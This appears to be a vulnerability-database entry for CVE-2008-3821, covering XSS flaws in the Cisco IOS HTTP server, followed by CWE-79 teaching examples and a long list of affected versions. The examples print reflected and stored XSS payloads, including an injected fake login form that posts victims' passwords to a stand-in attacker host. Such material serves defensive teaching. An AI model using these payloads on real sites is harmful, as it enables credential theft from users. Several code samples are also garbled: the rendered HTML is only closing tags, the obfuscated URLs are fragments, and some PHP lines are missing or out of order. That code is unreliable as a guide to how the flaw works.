CVE-2008-3821 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Severity

43%

Complexity

86%

Confidentiality

48%

Multiple cross-site scripting (XSS) vulnerabilities in the HTTP server in Cisco IOS 11.0 through 12.4 allow remote attackers to inject arbitrary web script or HTML via (1) the query string to the ping program or (2) unspecified other aspects of the URI.

Multiple cross-site scripting (XSS) vulnerabilities in the HTTP server in Cisco IOS 11.0 through 12.4 allow remote attackers to inject arbitrary web script or HTML via (1) the query string to the ping program or (2) unspecified other aspects of the URI.

CVSS 2.0 Base Score 4.3. CVSS Attack Vector: network. CVSS Attack Complexity: medium. CVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N).

Demo Examples

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.


               
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as


               
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:


               
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:


               
</div></div>
</form>
<input type="submit" value="Login" />

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):


               
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:


               
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


               
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.


               
<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


               
Employee Name: <%= name %>
String name = rs.getString("name");

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.


               
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php


               
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php


               
echo '</div>';
exit;
//Print list of users to page
echo '<div class="userNames">'.$row['fullname'].'</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:


               
saveMessage($announceStr);//save HTML-formatted message to file; implementation details are irrelevant for this example.

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:


               
<script>document.alert('Hacked');</script>

The raw contents of the message file would look like:


               
<script>document.alert('Hacked');</script> has logged in.

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

Overview

Type

Cisco IOS

First reported 16 years ago

2009-01-16 21:30:00

Last updated 6 years ago

2018-10-11 20:49:00

Affected Software

Cisco IOS 12.0

12.0

Cisco IOS 12.0DA

12.0da

Cisco IOS 12.0DB

12.0db

Cisco IOS 12.0DC

12.0dc

Cisco IOS 12.0S

12.0s

Cisco IOS 12.0SC

12.0sc

Cisco IOS 12.0SL

12.0sl

Cisco IOS 12.0SP

12.0sp

Cisco IOS 12.0ST

12.0st

Cisco IOS 12.0SX

12.0sx

Cisco IOS 12.0SY

12.0sy

Cisco IOS 12.0SZ

12.0sz

Cisco IOS 12.0T

12.0t

Cisco IOS 12.0W

12.0w

Cisco IOS 12.0WC

12.0wc

Cisco IOS 12.0XA

12.0xa

Cisco IOS 12.0XB

12.0xb

Cisco IOS 12.0XC

12.0xc

Cisco IOS 12.0XD

12.0xd

Cisco IOS 12.0XE

12.0xe

Cisco IOS 12.0XG

12.0xg

Cisco IOS 12.0XH

12.0xh

Cisco IOS 12.0XI

12.0xi

Cisco IOS 12.0XJ

12.0xj

Cisco IOS 12.0XK

12.0xk

Cisco IOS 12.0XL

12.0xl

Cisco IOS 12.0XM

12.0xm

Cisco IOS 12.0XN

12.0xn

Cisco IOS 12.0XQ

12.0xq

Cisco IOS 12.0XR

12.0xr

Cisco IOS 12.0XS

12.0xs

Cisco IOS 12.0XT

12.0xt

Cisco IOS 12.0Xv

12.0xv

Cisco IOS 12.1

12.1

Cisco IOS 12.1AA

12.1aa

Cisco IOS 12.1AX

12.1ax

Cisco IOS 12.1AY

12.1ay

Cisco IOS 12.1CX

12.1cx

Cisco IOS 12.1DA

12.1da

Cisco IOS 12.1DB

12.1db

Cisco IOS 12.1DC

12.1dc

Cisco IOS 12.1EB

12.1eb

Cisco IOS 12.1EC

12.1ec

Cisco IOS 12.1EO

12.1eo

Cisco IOS 12.1EU

12.1eu

Cisco IOS 12.1EW

12.1ew

Cisco IOS 12.1EX

12.1ex

Cisco IOS 12.1EY

12.1ey

Cisco IOS 12.1EZ

12.1ez

Cisco IOS 12.1GA

12.1ga

Cisco IOS 12.1GB

12.1gb

Cisco IOS 12.1T

12.1t

Cisco IOS 12.1XA

12.1xa

Cisco IOS 12.1XB

12.1xb

Cisco IOS 12.1XC

12.1xc

Cisco IOS 12.1XD

12.1xd

Cisco IOS 12.1XE

12.1xe

Cisco IOS 12.1XF

12.1xf

Cisco IOS 12.1XG

12.1xg

Cisco IOS 12.1XH

12.1xh

Cisco IOS 12.1XI

12.1xi

Cisco IOS 12.1XJ

12.1xj

Cisco IOS 12.1XL

12.1xl

Cisco IOS 12.1XM

12.1xm

Cisco IOS 12.1XP

12.1xp

Cisco IOS 12.1XQ

12.1xq

Cisco IOS 12.1XR

12.1xr

Cisco IOS 12.1XS

12.1xs

Cisco IOS 12.1XT

12.1xt

Cisco IOS 12.1XU

12.1xu

Cisco IOS 12.1XV

12.1xv

Cisco IOS 12.1XW

12.1xw

Cisco IOS 12.1XX

12.1xx

Cisco IOS 12.1XY

12.1xy

Cisco IOS 12.1XZ

12.1xz

Cisco IOS 12.1YA

12.1ya

Cisco IOS 12.1YB

12.1yb

Cisco IOS 12.1YC

12.1yc

Cisco IOS 12.1YD

12.1yd

Cisco IOS 12.1YE

12.1ye

Cisco IOS 12.1YF

12.1yf

Cisco IOS 12.1YH

12.1yh

Cisco IOS 12.1YI

12.1yi

Cisco IOS 12.1YJ

12.1yj

Cisco IOS 12.2

12.2

Cisco IOS 12.2B

12.2b

Cisco IOS 12.2BC

12.2bc

Cisco IOS 12.2BW

12.2bw

Cisco IOS 12.2BX

12.2bx

Cisco IOS 12.2BY

12.2by

Cisco IOS 12.2BZ

12.2bz

Cisco IOS 12.2CX

12.2cx

Cisco IOS 12.2CY

12.2cy

Cisco IOS 12.2CZ

12.2cz

Cisco IOS 12.2DA

12.2da

Cisco IOS 12.2DD

12.2dd

Cisco IOS 12.2DX

12.2dx

Cisco IOS 12.2EW

12.2ew

Cisco IOS 12.2EWA

12.2ewa

Cisco IOS 12.2EX

12.2ex

Cisco IOS 12.2EY

12.2ey

Cisco IOS 12.2EZ

12.2ez

Cisco IOS 12.2FX

12.2fx

Cisco IOS 12.2FY

12.2fy

Cisco IOS 12.2FZ

12.2fz

Cisco IOS 12.2IXA

12.2ixa

Cisco IOS 12.2IXB

12.2ixb

Cisco IOS 12.2IXC

12.2ixc

Cisco IOS 12.2IXD

12.2ixd

Cisco IOS 12.2IXE

12.2ixe

Cisco IOS 12.2IXF

12.2ixf

Cisco IOS 12.2IXG

12.2ixg

Cisco IOS 12.2JA

12.2ja

Cisco IOS 12.2JK

12.2jk

Cisco IOS 12.2MB

12.2mb

Cisco IOS 12.2MC

12.2mc

Cisco IOS 12.2S

12.2s

Cisco IOS 12.2SB

12.2sb

Cisco IOS 12.2SBC

12.2sbc

Cisco IOS 12.2SE

12.2se

Cisco IOS 12.2 SEA

12.2sea

Cisco IOS 12.2SEB

12.2seb

Cisco IOS 12.2SEC

12.2sec

Cisco IOS 12.2SED

12.2sed

Cisco IOS 12.2SEE

12.2see

Cisco IOS 12.2SEF

12.2sef

Cisco IOS 12.2SEG

12.2seg

Cisco IOS 12.2SG

12.2sg

Cisco IOS 12.2SGA

12.2sga

Cisco IOS 12.2SM

12.2sm

Cisco IOS 12.2SO

12.2so

Cisco IOS 12.2SRA

12.2sra

Cisco IOS 12.2SRB

12.2srb

Cisco IOS 12.2SU

12.2su

Cisco IOS 12.2SV

12.2sv

Cisco IOS 12.2SVA

12.2sva

Cisco IOS 12.2SVC

12.2svc

Cisco IOS 12.2SVD

12.2svd

Cisco IOS 12.2SVE

12.2sve

Cisco IOS 12.2SW

12.2sw

Cisco IOS 12.2SX

12.2sx

Cisco IOS 12.2SXA

12.2sxa

Cisco IOS 12.2SXB

12.2sxb

Cisco IOS 12.2SXD

12.2sxd

Cisco IOS 12.2SXE

12.2sxe

Cisco IOS 12.2SXF

12.2sxf

Cisco IOS 12.2SY

12.2sy

Cisco IOS 12.2SZ

12.2sz

Cisco IOS 12.2T

12.2t

Cisco IOS 12.2TPC

12.2tpc

Cisco IOS 12.2XA

12.2xa

Cisco IOS 12.2XB

12.2xb

Cisco IOS 12.2XC

12.2xc

Cisco IOS 12.2XD

12.2xd

Cisco IOS 12.2XE

12.2xe

Cisco IOS 12.2XF

12.2xf

Cisco IOS 12.2XG

12.2xg

Cisco IOS 12.2XH

12.2xh

Cisco IOS 12.2XI

12.2xi

Cisco IOS 12.2XJ

12.2xj

Cisco IOS 12.2XK

12.2xk

Cisco IOS 12.2XL

12.2xl

Cisco IOS 12.2XM

12.2xm

Cisco IOS 12.2XN

12.2xn

Cisco IOS 12.2XO

12.2xo

Cisco IOS 12.2XQ

12.2xq

Cisco IOS 12.2XR

12.2xr

Cisco IOS 12.2XS

12.2xs

Cisco IOS 12.2XT

12.2xt

Cisco IOS 12.2XU

12.2xu

Cisco IOS 12.2XV

12.2xv

Cisco IOS 12.2XW

12.2xw

Cisco IOS 12.2YA

12.2ya

Cisco IOS 12.2YB

12.2yb

Cisco IOS 12.2YC

12.2yc

Cisco IOS 12.2YD

12.2yd

Cisco IOS 12.2YE

12.2ye

Cisco IOS 12.2YF

12.2yf

Cisco IOS 12.2YG

12.2yg

Cisco IOS 12.2YH

12.2yh

Cisco IOS 12.2YJ

12.2yj

Cisco IOS 12.2YK

12.2yk

Cisco IOS 12.2YL

12.2yl

Cisco IOS 12.2YM

12.2ym

Cisco IOS 12.2YN

12.2yn

Cisco IOS 12.2YO

12.2yo

Cisco IOS 12.2YP

12.2yp

Cisco IOS 12.2YQ

12.2yq

Cisco IOS 12.2YR

12.2yr

Cisco IOS 12.2YT

12.2yt

Cisco IOS 12.2YU

12.2yu

Cisco IOS 12.2YV

12.2yv

Cisco IOS 12.2YW

12.2yw

Cisco IOS 12.2YX

12.2yx

Cisco IOS 12.2YY

12.2yy

Cisco IOS 12.2YZ

12.2yz

Cisco IOS 12.2ZA

12.2za

Cisco IOS 12.2ZB

12.2zb

Cisco IOS 12.2ZC

12.2zc

Cisco IOS 12.2ZD

12.2zd

Cisco IOS 12.2ZE

12.2ze

Cisco IOS 12.2ZF

12.2zf

Cisco IOS 12.2ZG

12.2zg

Cisco IOS 12.2ZH

12.2zh

Cisco IOS 12.2ZJ

12.2zj

Cisco IOS 12.2ZL

12.2zl

Cisco IOS 12.2ZP

12.2zp

Cisco IOS 12.2ZU

12.2zu

Cisco IOS 12.2ZX

12.2zx

Cisco IOS 12.2ZY

12.2zy

Cisco IOS 12.2ZYA

12.2zya

Cisco IOS 12.3

12.3

Cisco IOS 12.3B

12.3b

Cisco IOS 12.3BC

12.3bc

Cisco IOS 12.3BW

12.3bw

Cisco IOS 12.3JA

12.3ja

Cisco IOS 12.3JEA

12.3jea

Cisco IOS 12.3JEB

12.3jeb

Cisco IOS 12.3JEC

12.3jec

Cisco IOS 12.3JK

12.3jk

Cisco IOS 12.3JL

12.3jl

Cisco IOS 12.3JX

12.3jx

Cisco IOS 12.3T

12.3t

Cisco IOS 12TPC

12.3tpc

Cisco IOS 12.3VA

12.3va

Cisco IOS 12.3XA

12.3xa

Cisco IOS 12.3XB

12.3xb

Cisco IOS 12.3XC

12.3xc

Cisco IOS 12.3XD

12.3xd

Cisco IOS 12.3XE

12.3xe

Cisco IOS 12.3XG

12.3xg

Cisco IOS 12.3XI

12.3xi

Cisco IOS 12.3XJ

12.3xj

Cisco IOS 12.3XK

12.3xk

Cisco IOS 12.3XL

12.3xl

Cisco IOS 12.3XQ

12.3xq

Cisco IOS 12.3XR

12.3xr

Cisco IOS 12.3XS

12.3xs

Cisco IOS 12.3XU

12.3xu

Cisco IOS 12.3XW

12.3xw

Cisco IOS 12.3XX

12.3xx

Cisco IOS 12.3XY

12.3xy

Cisco IOS 12.3XZ

12.3xz

Cisco IOS 12.3YA

12.3ya

Cisco IOS 12.3YD

12.3yd

Cisco IOS 12.3YF

12.3yf

Cisco IOS 12.3YG

12.3yg

Cisco IOS 12.3YH

12.3yh

Cisco IOS 12.3YI

12.3yi

Cisco IOS 12.3YJ

12.3yj

Cisco IOS 12.3YK

12.3yk

Cisco IOS 12.3YM

12.3ym

Cisco IOS 12.3YQ

12.3yq

Cisco IOS 12.3YS

12.3ys

Cisco IOS 12.3YT

12.3yt

Cisco IOS 12.3YU

12.3yu

Cisco IOS 12.3YX

12.3yx

Cisco IOS 12.3YZ

12.3yz

Cisco IOS 12.3ZA

12.3za

Cisco IOS 12.4

12.4

Cisco IOS 12.4JA

12.4ja

Cisco IOS 12.4JDA

12.4jda

Cisco IOS 12.4JK

12.4jk

Cisco IOS 12.4JL

12.4jl

Cisco IOS 12.4JMA

12.4jma

Cisco IOS 12.4JMB

12.4jmb

Cisco IOS 12.4JX

12.4jx

Cisco IOS 12.4 MD

12.4md

Cisco IOS 12.4MR

12.4mr

Cisco IOS 12.4SW

12.4sw

Cisco IOS 12.4T

12.4t

Cisco IOS 12.4XA

12.4xa

Cisco IOS 12.4XB

12.4xb

Cisco IOS 12.4XC

12.4xc

Cisco IOS 12.4XD

12.4xd

Cisco IOS 12.4XE

12.4xe

Cisco IOS 12.4XG

12.4xg

Cisco IOS 12.4XJ

12.4xj

Cisco IOS 12.4xk

12.4xk

Cisco IOS 12.4XP

12.4xp

Cisco IOS 12.4XT

12.4xt

Cisco IOS 12.4XV

12.4xv

Cisco IOS 12.4XW

12.4xw

Stay updated

ExploitPedia is constantly evolving. Sign up to receive a notification when we release additional functionality.

Get in touch

If you'd like to report a bug or have any suggestions for improvements then please do get in touch with us using this form. We will get back to you as soon as we can.